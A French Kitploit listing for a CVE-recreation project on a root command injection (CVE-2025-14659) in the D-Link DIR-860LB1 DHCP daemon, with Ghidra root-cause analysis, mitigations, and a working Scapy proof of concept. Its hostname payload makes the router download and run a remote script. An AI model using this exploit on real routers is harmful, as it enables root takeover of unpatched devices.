Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Vulnerability-DLink-CVE-2025-14659 — Analyse statique (Ghidra) et création de paquets personnalisés (Scapy) démontrant une vulnérabilité d'injection de commandes DHCP au niveau root (CVE-2025-14659) dans le firmware D-Link | Kitploit
Outils/GitHubGitHub/peterlinccl/vulnerability-dlink-cve-2025-14659
Sécurité des Systèmes EmbarquésAnalyse StatiqueSécurité IoTAnalyse des VulnérabilitésExploitationRétro-ingénierieArticles et RechercheDéveloppement de Charges UtilesAnalyse de Micrologiciel

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubpeterlinccl/vulnerability-dlink-cve-2025-14659

Vulnerability-DLink-CVE-2025-14659

Analyse statique (Ghidra) et création de paquets personnalisés (Scapy) démontrant une vulnérabilité d'injection de commandes DHCP au niveau root (CVE-2025-14659) dans le firmware D-Link

Voir le dépôt
il y a 14h 25mPas encore vérifié

CVE-2025-14659 : Analyse de l'injection de commandes dans le démon DHCP de D-Link

Projet Recreate CVE | Sécurité Offensive

Auteur : Peter Lin
Date : Mai 2026
Présentation du projet : CVE-2025-14659 a signalé une vulnérabilité d'injection de commandes ciblant le composant démon DHCP présent dans le routeur sans fil D-Link DIR-860LB1 exécutant le firmware v203b03. Cette injection de commandes pourrait permettre à un attaquant d'exécuter des commandes arbitraires avec les privilèges root sur ce routeur cible lorsqu'un client DHCP renouvelle un bail existant avec un nom d'hôte malveillant. Je vais extraire le firmware de l'appareil DIR-860LB1 et identifier la faille présente dans le démon DHCP (udhcpd) par analyse statique à l'aide de Ghidra. J'utiliserai ensuite un moteur d'émulation comme FirmAE pour émuler l'environnement de ce routeur, démontrant ainsi une attaque de preuve de concept contre cette cible.


🔍 Aperçu de la vulnérabilité

  • ID CVE : CVE-2025-14659
  • Score CVSS : 8.7 (Élevé)
  • Type de vulnérabilité : CWE-77 (Injection de commandes)
  • Binaire cible : udhcpd (Démon DHCP)
  • Impact : Accès root non authentifié sur le réseau local.

🔬 Cause racine (Analyse statique avec Ghidra)

En examinant la fonction udhcpd_main dans Ghidra, la vulnérabilité se situe directement dans le bloc case 3 (DHCPREQUEST) :

  1. Extraction : Le démon extrait l'Option 12 (Hostname) du paquet client à l'aide de get_option(auStack_254, 0xc).
  2. Concaténation : Si un nom d'hôte existe, il est directement inséré dans un tampon de chaîne via sprintf() :
    root@kitploit:~
    sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
    
  3. Exécution : L'application transmet ensuite ce tampon brut directement à un appel system() sans assainir les caractères shell :
    root@kitploit:~
    system(acStack_454);
    

Étant donné que le démon s'exécute en tant que root, l'ajout de métacaractères shell (comme ; ou |) dans le nom d'hôte permet à un attaquant d'exécuter des commandes système arbitraires.


🛠️ Script de preuve de concept (cve_poc.py)

Ce script fonctionnel Scapy simule un client malveillant demandant un renouvellement de bail avec une charge utile de nom d'hôte injectée :

root@kitploit:~
from scapy.all import *

# ===== Configuration =====
iface = "tap1_0"                          
mac_address = "0a:6f:8c:38:03:52"        
requested_ip = "192.168.0.150"            
dhcp_server_ip = "192.168.0.1"            
attacker_server = "192.168.0.150:12345"   
# =========================

# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
    Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=mac_bytes, xid=0x81de4932) /   
    DHCP(options=[
        ("message-type", "request"),
        ("requested_addr", requested_ip),
        ("server_id", dhcp_server_ip),
        ("hostname", hostname),
        "end"
    ])
)

print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")

⚠️ Impact réel de la menace

Si elle est exploitée en conditions réelles, un attaquant peut utiliser cette vulnérabilité pour :

  • Déploiement de botnet : Installer des binaires malveillants directement dans la mémoire volatile du routeur (/tmp) afin d'enrôler le matériel dans des réseaux DDoS.
  • Détournement DNS : Écraser les paramètres DNS internes pour rediriger silencieusement les utilisateurs locaux vers des sites de phishing malveillants.
  • Mouvement latéral : Utiliser le routeur de périphérie compromis comme point de pivot interne pour scanner et cibler d'autres machines au sein du réseau local.
  • Contrôle persistant : Installer des portes dérobées ou manipuler des fichiers de configuration pour maintenir un accès administratif non autorisé dans l'ensemble de l'environnement local.

🛑 Mesures d'atténuation défensives

  • Avertissement sur le cycle de vie du matériel : D-Link a classé l'appareil DIR-860LB1 en statut Fin de Vie (EoL). Aucun correctif officiel du fournisseur n'est attendu pour résoudre ce problème.
  • Contrôles de sécurité compensatoires :
    • Configurer des frontières VLAN isolées équipées de fonctionnalités strictes d'isolation des clients afin de limiter la visibilité non authentifiée des points de terminaison DHCP.
    • Mettre systématiquement hors service les appareils de routage hérités en fin de vie et migrer vers des configurations matérielles activement prises en charge.

📚 Références

  • NIST National Vulnerability Database
  • CVEDetails Vulnerability Profile

Avertissement : Ce projet est créé strictement à des fins éducatives, de constitution de portfolio et de recherche en sécurité défensive.

Télécharger l’outil